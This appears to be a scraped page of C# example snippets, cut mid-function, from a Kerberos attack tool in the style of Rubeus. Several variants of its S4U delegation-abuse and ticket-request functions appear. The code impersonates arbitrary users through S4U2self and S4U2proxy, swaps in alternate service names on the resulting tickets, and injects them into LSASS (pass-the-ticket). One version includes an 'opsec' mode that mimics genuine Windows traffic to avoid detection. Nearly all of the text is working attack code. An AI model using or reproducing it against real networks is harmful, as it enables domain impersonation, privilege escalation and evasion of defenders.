            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 13)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }

                        if (!String.IsNullOrEmpty(outfile))
                        {
                            string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
                            filename = Helpers.MakeValidFileName(filename);
                            if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                            {
                                Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                            }
                        }

                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }

                    if (!String.IsNullOrEmpty(outfile))
                    {
                        string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
                        filename = Helpers.MakeValidFileName(filename);
                        if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                        }
                    }

                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes, new Interop.LUID());
                    }
                }
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Пример #10
0
        public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "")
        {
            TGS_REQ req = new TGS_REQ();

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType);

            req.padata.Add(padata);

            // set the username
            req.req_body.cname.name_string.Add(userName);

            // the realm (domain) the user exists in
            req.req_body.realm = domain;

            // add in our encryption types
            if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
            {
                // normal behavior
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
            }
            else
            {
                // add in the supported etype specified
                req.req_body.etypes.Add(requestEType);
            }

            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
                req.padata.Add(s4upadata);

                req.req_body.sname.name_type = 1;
                req.req_body.sname.name_string.Add(userName);

                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
            }

            else
            {
                string[] parts = sname.Split('/');
                if (parts.Length == 1)
                {
                    // KRB_NT_SRV_INST = 2
                    //      service and other unique instance (e.g. krbtgt)
                    req.req_body.sname.name_type = 2;
                    req.req_body.sname.name_string.Add(sname);
                    req.req_body.sname.name_string.Add(domain);
                }
                else if (parts.Length == 2)
                {
                    // KRB_NT_SRV_INST = 2
                    //      SPN (sname/server.domain.com)
                    req.req_body.sname.name_type = 2;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                }
                else if (parts.Length == 3)
                {
                    // KRB_NT_SRV_HST = 3
                    //      SPN (sname/server.domain.com/blah)
                    req.req_body.sname.name_type = 3;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                    req.req_body.sname.name_string.Add(parts[2]);
                }
                else
                {
                    Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
                }

                if (renew)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
                }
            }

            return(req.Encode().Encode());
        }
Пример #11
0
        public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false)
        {
            TGS_REQ req = new TGS_REQ(!opsec);

            if (!opsec)
            {
                // set the username
                req.req_body.cname.name_string.Add(userName);
            }

            // get domain from service for cross domain requests
            // if not requesting a cross domain TGT (krbtgt)
            string targetDomain = "";

            string[] parts = sname.Split('/');
            if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt"))
            {
                targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1);
            }
            else
            {
                targetDomain = domain;
            }

            // the realm (domain) the user exists in
            req.req_body.realm = targetDomain.ToUpper();

            // add in our encryption types
            if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
            {
                // normal behavior
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
            }
            // real traffic have these etypes except when requesting a TGT, then only
            else if ((opsec) && (parts.Length > 1) && (parts[0] != "krbtgt"))
            {
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
            }
            else
            {
                // add in the supported etype specified
                req.req_body.etypes.Add(requestEType);
            }

            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL;
                req.req_body.sname.name_string.Add(userName);

                if (!opsec)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
                }

                if (opsec)
                {
                    req.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);
                }
            }
            else
            {
                if (enterprise)
                {
                    // KRB_NT-ENTERPRISE = 10
                    //      userPrincipalName
                    //      sAMAccountName
                    //      sAMAccountName@DomainNetBIOSName
                    //      sAMAccountName@DomainFQDN
                    //      DomainNetBIOSName\sAMAccountName
                    //      DomainFQDN\sAMAccountName
                    req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE;
                    req.req_body.sname.name_string.Add(sname);
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
                }
                else if (parts.Length == 1)
                {
                    // KRB_NT_SRV_INST = 2
                    //      service and other unique instance (e.g. krbtgt)
                    req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
                    req.req_body.sname.name_string.Add(sname);
                    req.req_body.sname.name_string.Add(domain);
                }
                else if (parts.Length == 2)
                {
                    // KRB_NT_SRV_INST = 2
                    //      SPN (sname/server.domain.com)
                    req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                }
                else if (parts.Length == 3)
                {
                    // KRB_NT_SRV_HST = 3
                    //      SPN (sname/server.domain.com/blah)
                    req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_HST;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                    req.req_body.sname.name_string.Add(parts[2]);
                }
                else
                {
                    Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
                }
            }

            if (renew)
            {
                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
            }

            // needed for authenticator checksum
            byte[] cksum_Bytes = null;

            // opsec complete the request body before the creation of the AP-REQ
            if (opsec)
            {
                // set correct flags based on type of request
                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
                if (!unconstrained)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
                }
                if (unconstrained)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.FORWARDED;
                }

                // get hostname and hostname of SPN
                string hostName = Dns.GetHostName().ToUpper();
                string targetHostName;
                if (parts.Length > 1)
                {
                    targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
                }
                else
                {
                    targetHostName = hostName;
                }

                // create enc-authorization-data if target host is not the local machine
                if ((hostName != targetHostName) && String.IsNullOrEmpty(s4uUser) && (!unconstrained))
                {
                    List <AuthorizationData> tmp          = new List <AuthorizationData>();
                    AuthorizationData        restrictions = new AuthorizationData(Interop.AuthorizationDataType.KERB_AUTH_DATA_TOKEN_RESTRICTIONS);
                    AuthorizationData        kerbLocal    = new AuthorizationData(Interop.AuthorizationDataType.KERB_LOCAL);
                    tmp.Add(restrictions);
                    tmp.Add(kerbLocal);
                    AuthorizationData authorizationData      = new AuthorizationData(tmp);
                    byte[]            authorizationDataBytes = authorizationData.Encode().Encode();
                    byte[]            enc_authorization_data = Crypto.KerberosEncrypt(requestEType, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, clientKey, authorizationDataBytes);
                    req.req_body.enc_authorization_data = new EncryptedData((Int32)requestEType, enc_authorization_data);
                }

                // S4U requests have a till time of 15 minutes in the future
                if (!String.IsNullOrEmpty(s4uUser))
                {
                    DateTime till = DateTime.Now;
                    till = till.AddMinutes(15);
                    req.req_body.till = till;
                }

                // encode req_body for authenticator cksum
                AsnElt req_Body_ASN    = req.req_body.Encode();
                AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
                req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
                byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
                cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
            }

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType, opsec, cksum_Bytes);

            req.padata.Add(padata);

            // moved so all PA-DATA sections are inserted after the request body has been completed, this is useful when
            // forming opsec requests as they require a checksum of the request body within the authenticator and the
            // PADATA-TGS-REQ should go before the other PA-DATA sections
            if (opsec && (!String.IsNullOrEmpty(s4uUser)))
            {
                // real packets seem to lowercase the domain in these 2 PA_DATA's
                domain = domain.ToLower();

                // PA_S4U_X509_USER commented out until we get the checksum working
                //PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain, req.req_body.nonce);
                //req.padata.Add(s4upadata);
            }

            // add final S4U PA-DATA
            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                PA_DATA s4upadata = new PA_DATA(clientKey, s4uUser, domain);
                req.padata.Add(s4upadata);
            }
            else if (opsec)
            {
                PA_DATA padataoptions = new PA_DATA(false, true, false, false);
                req.padata.Add(padataoptions);
            }

            return(req.Encode().Encode());
        }
Пример #12
0
        public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt,
                                   string domainController = "", string altService = "")
        {
            Console.WriteLine("[*] Action: S4U\r\n");
            // extract out the info needed for the TGS-REQ/S4U2Self execution
            string userName = kirbi.EncryptedPart.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.EncryptedPart.ticket_info[0].prealm;
            Ticket ticket   = kirbi.Tickets[0];

            byte[]             clientKey = kirbi.EncryptedPart.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.EncryptedPart.ticket_info[0].key.keytype;
            string             dcIP      = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
            Console.WriteLine("[*]   Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!string.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                Console.WriteLine((1 == altSnames.Length)
                    ? "[*]   Final ticket will be for the alternate service '{0}'"
                    : "[*]   Final tickets will be for the alternate services '{0}'",
                                  altService);
            }
            byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype,
                                                false, targetUser);
            Console.WriteLine("[*] Sending S4U2self request");
            byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
            if (null == response)
            {
                return;
            }
            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);
            // check the response value
            int responseTag = responseAsn.TagValue;

            switch (responseTag)
            {
            case 13:
                Console.WriteLine("[+] S4U2self success!");
                // parse the response to an TGS-REP
                TGS_REP rep = new TGS_REP(responseAsn);
                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
                AsnElt        ae         = AsnElt.Decode(outBytes, false);
                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.FirstElement);
                // TODO: ensure the cname contains the name of the user! otherwise s4u not supported
                Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
                TGS_REQ s4u2proxyReq = new TGS_REQ();
                PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);
                s4u2proxyReq.padata.Add(padata);
                PA_DATA pac_options = new PA_DATA(false, false, false, true);
                s4u2proxyReq.padata.Add(pac_options);
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;
                s4u2proxyReq.req_body.realm      = domain;
                string[] parts      = targetSPN.Split('/');
                string   serverName = parts[1];
                s4u2proxyReq.req_body.sname.name_type = 2;
                // the sname
                s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
                // the server
                s4u2proxyReq.req_body.sname.name_string.Add(serverName);
                // supported encryption types
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                // add in the ticket from the S4U2self response
                s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
                byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
                Console.WriteLine("[*] Sending S4U2proxy request");
                byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
                if (null == response2)
                {
                    return;
                }
                // decode the supplied bytes to an AsnElt object
                //  false == ignore trailing garbage
                AsnElt responseAsn2 = AsnElt.Decode(response2, false);
                // check the response value
                int responseTag2 = responseAsn2.TagValue;
                switch (responseTag2)
                {
                case 13:
                    Console.WriteLine("[+] S4U2proxy success!");
                    // parse the response to an TGS-REP
                    TGS_REP rep2 = new TGS_REP(responseAsn2);
                    // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                    EncKDCRepPart encRepPart2 = new EncKDCRepPart(
                        AsnElt.Decode(
                            Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher), false)
                        .FirstElement);
                    KRB_CRED    cred;
                    KrbCredInfo info;
                    byte[]      kirbiBytes;
                    if (!string.IsNullOrEmpty(altService))
                    {
                        string[] altSnames = altService.Split(',');
                        foreach (string altSname in altSnames)
                        {
                            // now build the final KRB-CRED structure with one or more alternate snames
                            cred = new KRB_CRED();
                            // since we want an alternate sname, first substitute it into the ticket structure
                            rep2.ticket.sname.name_string[0] = altSname;
                            // add the ticket
                            cred.Tickets.Add(rep2.ticket);
                            // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                            info = new KrbCredInfo();
                            // [0] add in the session key
                            info.key.keytype  = encRepPart2.key.keytype;
                            info.key.keyvalue = encRepPart2.key.keyvalue;
                            // [1] prealm (domain)
                            info.prealm = encRepPart2.realm;
                            // [2] pname (user)
                            info.pname.name_type   = rep2.cname.name_type;
                            info.pname.name_string = rep2.cname.name_string;
                            // [3] flags
                            info.flags = encRepPart2.flags;
                            // [4] authtime (not required)
                            // [5] starttime
                            info.starttime = encRepPart2.starttime;
                            // [6] endtime
                            info.endtime = encRepPart2.endtime;
                            // [7] renew-till
                            info.renew_till = encRepPart2.renew_till;
                            // [8] srealm
                            info.srealm = encRepPart2.realm;
                            // [9] sname
                            info.sname.name_type   = encRepPart2.sname.name_type;
                            info.sname.name_string = encRepPart2.sname.name_string;
                            // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                            Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                            info.sname.name_string[0] = altSname;
                            // add the ticket_info into the cred object
                            cred.EncryptedPart.ticket_info.Add(info);
                            kirbiBytes = cred.Encode().Encode();
                            Helpers.DisplayKerberosTicket(kirbiBytes);
                            if (ptt)
                            {
                                // pass-the-ticket -> import into LSASS
                                LSA.ImportTicket(kirbiBytes);
                            }
                        }
                        return;
                    }
                    // now build the final KRB-CRED structure, no alternate snames
                    cred = new KRB_CRED();
                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!string.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }
                    // add the ticket
                    cred.Tickets.Add(rep2.ticket);
                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
                    info = new KrbCredInfo();
                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;
                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;
                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;
                    // [3] flags
                    info.flags = encRepPart2.flags;
                    // [4] authtime (not required)
                    // [5] starttime
                    info.starttime = encRepPart2.starttime;
                    // [6] endtime
                    info.endtime = encRepPart2.endtime;
                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;
                    // [8] srealm
                    info.srealm = encRepPart2.realm;
                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;
                    // add the ticket_info into the cred object
                    cred.EncryptedPart.ticket_info.Add(info);
                    kirbiBytes = cred.Encode().Encode();
                    Helpers.DisplayKerberosTicket(kirbiBytes);
                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        LSA.ImportTicket(kirbiBytes);
                    }
                    return;

                case 30:
                    // parse the response to an KRB-ERROR
                    Helpers.DisplayKerberosError(responseAsn);
                    return;

                default:
                    Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                    return;
                }

            case 30:
                // parse the response to an KRB-ERROR
                Helpers.DisplayKerberosError(responseAsn);
                return;

            default:
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return;
            }
        }
Пример #13
0
        public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket,
                                       byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "")
        {
            TGS_REQ req = new TGS_REQ();

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype);

            req.padata.Add(padata);

            // set the username
            req.req_body.cname.name_string.Add(userName);

            // the realm (domain) the user exists in
            req.req_body.realm = domain;

            // add in our encryption types
            req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
                req.padata.Add(s4upadata);

                req.req_body.sname.name_type = 1;
                req.req_body.sname.name_string.Add(userName);

                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;

                //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
            }
            else
            {
                //// add in our encryption type
                //req.req_body.etypes.Add(etype);
                string[]      parts = sname.Split('/');
                PrincipalName principalName;
                switch (parts.Length)
                {
                case 1:
                    principalName = req.req_body.sname;
                    // KRB_NT_SRV_INST = 2
                    //      service and other unique instance (e.g. krbtgt)
                    principalName.name_type = 2;
                    principalName.name_string.Add(sname);
                    principalName.name_string.Add(domain);
                    break;

                case 2:
                    principalName = req.req_body.sname;
                    // KRB_NT_SRV_INST = 2
                    //      SPN (sname/server.domain.com)
                    principalName.name_type = 2;
                    principalName.name_string.Add(parts[0]);
                    principalName.name_string.Add(parts[1]);
                    break;

                default:
                    Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
                    break;
                }
                if (renew)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
                }
            }
            return(req.Encode().Encode());
        }